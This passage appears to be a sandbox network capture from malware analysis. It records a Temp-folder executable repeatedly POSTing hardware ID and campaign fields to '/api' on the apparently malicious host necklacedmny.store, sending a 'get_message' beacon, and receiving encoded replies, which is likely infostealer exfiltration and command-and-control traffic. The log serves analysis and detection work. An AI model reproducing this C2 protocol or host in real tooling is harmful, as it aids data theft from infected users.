2024-10-30 04:25:36 UTC	1369	IN	Data Raw: 33 70 69 63 54 2b 4b 50 38 50 79 35 34 55 57 6e 31 75 6e 7a 30 70 4c 5a 6e 70 74 75 6e 5a 65 55 35 67 4b 74 75 48 71 71 62 76 75 62 30 65 78 7a 34 76 76 34 39 4a 7a 4d 57 61 65 36 37 4c 4c 6e 68 2f 53 2b 6c 78 71 39 75 74 54 6a 53 72 6d 34 65 75 74 71 76 75 36 55 6a 58 2f 2b 79 76 53 63 34 4f 56 55 34 78 2f 68 38 6f 71 53 69 49 35 6a 55 72 47 7a 79 59 49 50 32 52 52 6d 77 31 4c 62 31 73 33 55 53 71 62 4f 78 64 33 70 36 47 58 7a 70 39 6d 54 71 74 71 45 32 2f 6f 44 79 4d 4f 6f 34 69 2f 74 7a 55 75 53 46 39 4c 53 6d 64 51 53 70 38 76 49 39 4f 7a 4a 61 62 76 76 78 41 6f 54 6c 39 32 7a 68 32 61 6c 69 38 6d 61 45 6f 43 6b 61 76 38 32 67 79 6f 6f 65 55 4f 2b 79 36 79 67 76 45 6e 6b 34 74 76 59 7a 2b 72 7a 44 49 2b 57 58 6e 53 79 31 62 74 4c 6a 4a 53 65 2f 32 62 Data Ascii: 3picT+KP8Py54UWn1unz0pLZnptunZeU5gKtuHqqbvub0exz4vv49JzMWae67LLnh/S+lxq9utTjSrm4eutqvu6UjX/+yvSc4OVU4x/h8oqSiI5jUrGzyYIP2RRmw1Lb1s3USqbOxd3p6GXzp9mTqtqE2/oDyMOo4i/tzUuSF9LSmdQSp8vI9OzJabvvxAoTl92zh2ali8maEoCkav82gyooeUO+y6ygvEnk4tvYz+rzDI+WXnSy1btLjJSe/2b
2024-10-30 04:25:36 UTC	1369	IN	Data Raw: 65 65 53 34 39 43 45 75 64 6e 68 79 36 4c 73 7a 76 61 53 30 49 36 47 58 2b 69 4c 30 66 49 4b 32 61 68 58 77 30 4b 44 7a 39 48 73 63 35 2f 57 70 62 79 67 2b 53 58 58 33 73 58 43 38 36 76 51 6a 73 70 6d 37 49 75 4d 32 79 75 67 72 55 71 36 58 34 72 54 7a 4f 31 48 6f 74 76 38 73 4f 79 5a 66 65 2b 36 31 65 34 54 61 33 32 36 67 30 71 78 6c 79 30 69 7a 73 58 55 66 73 39 44 34 31 4c 4d 6a 58 39 65 4c 78 6a 34 75 4a 42 74 65 2b 36 41 2f 2b 71 71 36 65 2b 32 50 34 6b 50 2f 5a 70 2b 30 59 6c 43 63 30 4b 7a 33 39 48 73 63 37 66 57 70 62 77 77 35 56 48 33 32 73 58 36 62 37 75 70 75 6f 74 44 67 51 76 4a 67 6b 66 73 72 55 72 43 58 34 72 53 31 50 30 7a 6b 75 76 5a 6a 4c 69 35 65 4f 4c 62 32 4d 76 71 38 75 6d 4b 6e 78 36 39 74 38 6a 71 55 74 57 74 53 6f 35 6d 6a 74 4b 4a Data Ascii: eeS49CEudnhy6LszvaS0I6GX+iL0fIK2ahXw0KDz9Hsc5/Wpbyg+SXX3sXC86vQjspm7IuM2yugrUq6X4rTzO1Hotv8sOyZfe+61e4Ta326g0qxly0izsXUfs9D41LMjX9eLxj4uJBte+6A/+qq6e+2P4kP/Zp+0YlCc0Kz39Hsc7fWpbww5VH32sX6b7upuotDgQvJgkfsrUrCX4rS1P0zkuvZjLi5eOLb2Mvq8umKnx69t8jqUtWtSo5mjtKJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50013	188.114.96.3	443	504	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:25:38 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-10-30 04:25:38 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:25:38 UTC	1022	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b77jn9s1udhd42t1m349d3fsvj; expires=Sat, 22 Feb 2025 22:12:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c8rpsT%2BRFfcenH0kGbugyO%2BP4vmtqu9dntBxpv%2F0HYSi%2BYgzUbybSrzt9riZ5%2BP28HGvFzHLTnVJOtgnFin36jAkYOQghRseutHlwYCB%2B3TUO8HobGvtCXKDHgj5wMZIzksTjQE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a47eb9a5e7d3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1375&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13806&delivery_rate=2056818&cwnd=231&unsent_bytes=0&cid=55c6d2c6fc8fe8e5&ts=398&x=0"
2024-10-30 04:25:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:25:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50016	188.114.96.3	443	504	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:25:39 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-10-30 04:25:39 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:25:40 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o5hfmvmtt1qh78qpr5k90ko64r; expires=Sat, 22 Feb 2025 22:12:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gSUOfH9GKpsboKgZK0A17ynndlmJ05tf0ShLJPqQZLQD2QLKucFbJwH%2BvPhoq3ZtOMVaIbhTU7hhKfbP1zoysnE21kNMzAOa%2BGG24NeyzLNQR42Y5aKV8KJh4qqDBxaAZz%2BK0Cs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a48769b14760-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1115&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16052&delivery_rate=2583407&cwnd=246&unsent_bytes=0&cid=1593fcfc22ef4004&ts=584&x=0"
2024-10-30 04:25:40 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:25:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50021	188.114.96.3	443	504	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:25:41 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-10-30 04:25:41 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:25:41 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-30 04:25:42 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2ggskr500bumbghds3aq0qt77t; expires=Sat, 22 Feb 2025 22:12:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ShAF%2BKp4mi7pYsfqYeUpSYfBPIMAqOl7us9FIoiq5AYPRrn9sd8iPbdOeTc%2BjaAz7E1yY7Dzq6kcN12AKS6MPpbpyLkubTzCGCNTo9YQUBrSOAzp8xQlI1FLi3n8XMAWZ5%2B1ca0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a4938d51e716-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1369&sent=17&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20932&delivery_rate=2075985&cwnd=251&unsent_bytes=0&cid=51fda208389e57f0&ts=723&x=0"
2024-10-30 04:25:42 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:25:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50031	188.114.96.3	443	504	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:25:46 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1280 Host: necklacedmny.store
2024-10-30 04:25:46 UTC	1280	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:25:47 UTC	1016	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n7gn9a724dd4jslun53s6lgbue; expires=Sat, 22 Feb 2025 22:12:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=14N2kWXdMf3N5O9dU7Hd9HNxmMmINWFwccIYL1uyJRnaOwbeblasjH8dImvBnYH%2BoI9QS%2BxZZdl%2BSZuALj4Lqdj6V9fXTGHKtmJ7xwckGjYsohkEiaQrgEcWPqUJsE7CHb%2BWIwo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a4b41b1c2d3b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1473&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2199&delivery_rate=1966055&cwnd=237&unsent_bytes=0&cid=85ed8060e30dbb89&ts=538&x=0"
2024-10-30 04:25:47 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:25:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50040	188.114.96.3	443	504	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:25:51 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1408 Host: necklacedmny.store
2024-10-30 04:25:51 UTC	1408	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:25:51 UTC	1026	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1gboatglc37imi9r61t977e21b; expires=Sat, 22 Feb 2025 22:12:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2V0%2BMLUL1IaCuyd1E%2F04VZASx%2FO7WuzTFq3J9%2Fl3Ksl4hLSZE5BIVhbkHhJL4%2B9zPXXkxxZ1vnHkfGdgdB%2FJ9P%2FZHCZfyBVA2XCyasiec%2BO1gJzSS2%2BJny0MME5StuDCiNTfYGU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a4d11f732e6d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1318&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2327&delivery_rate=2134119&cwnd=243&unsent_bytes=0&cid=d6dac318e1e3c3cc&ts=340&x=0"
2024-10-30 04:25:51 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:25:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50042	188.114.96.3	443	504	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:25:52 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-30 04:25:52 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=AC160988B363BA17740D9A468BAD2EF1
2024-10-30 04:25:53 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1nfoeark9i407o5f26587kaopb; expires=Sat, 22 Feb 2025 22:12:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tX3npTPsnlI5GTh8zjxANZaGkga980zGs7s%2BeGz5bOF4B3HON2l4MJw8edEs8muYmdZzP8%2Fv0%2B8LiYpRRo%2BrDJOGCo2ZWscupq2yqBZ8uw5St11C56SCD0NIfQyPS42ATN8bwl0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a4da8e3d4653-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1079&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2599640&cwnd=251&unsent_bytes=0&cid=498229e6ecaaf25b&ts=514&x=0"
2024-10-30 04:25:53 UTC	214	IN	Data Raw: 64 30 0d 0a 6d 2f 70 6b 39 73 38 6b 56 53 38 66 4a 4b 36 4f 58 58 58 30 41 72 77 41 32 33 4d 46 6e 4b 41 30 62 6c 74 63 54 4f 69 32 47 45 54 41 67 55 61 44 37 52 35 33 52 32 74 51 33 72 51 42 57 71 67 74 6a 54 6a 75 58 54 65 74 6c 52 70 66 61 6d 39 69 32 59 42 45 61 2f 53 63 41 71 72 67 51 44 42 4a 4d 55 48 57 36 33 39 5a 31 6d 54 49 49 75 46 44 4b 62 37 46 46 6c 52 72 49 57 43 54 6c 47 31 6d 6f 64 67 4d 67 72 74 55 62 33 4d 77 65 49 47 2f 5a 55 44 61 4d 49 30 31 39 55 49 30 72 34 34 46 57 41 64 7a 49 59 48 59 66 52 69 30 69 41 57 59 71 30 73 34 41 58 70 63 79 36 78 78 56 35 4a 32 6e 6a 72 72 58 79 66 35 67 67 35 65 4a 67 45 3d 0d 0a Data Ascii: d0m/pk9s8kVS8fJK6OXXX0ArwA23MFnKA0bltcTOi2GETAgUaD7R53R2tQ3rQBWqgtjTjuXTetlRpfam9i2YBEa/ScAqrgQDBJMUHW639Z1mTIIuFDKb7FFlRrIWCTlG1modgMgrtUb3MweIG/ZUDaMI019UI0r44FWAdzIYHYfRi0iAWYq0s4AXpcy6xxV5J2njrrXyf5gg5eJgE=
2024-10-30 04:25:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	50080	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:26:10 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 04:26:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 04:26:11 UTC	1021	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:26:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gahd4k5gna48e1rd2k5umajh98; expires=Sat, 22 Feb 2025 22:12:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aCyG4vvvjP%2BtSbgC58%2F%2BpISQF%2BAPdM8noLaoQk5GqvB4rGC2TD6h21rg%2F4noyyiB%2BX7CualXbX9Jranvt8coYJ84HVWIj%2FxSR2vmRSQsk4yGOlJi4lZVP16tR4wSNDvts4JUZt8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a549a85e4677-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1128&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2630336&cwnd=247&unsent_bytes=0&cid=98cb06d6c2ed981a&ts=359&x=0"
2024-10-30 04:26:11 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 04:26:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	50082	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:26:11 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
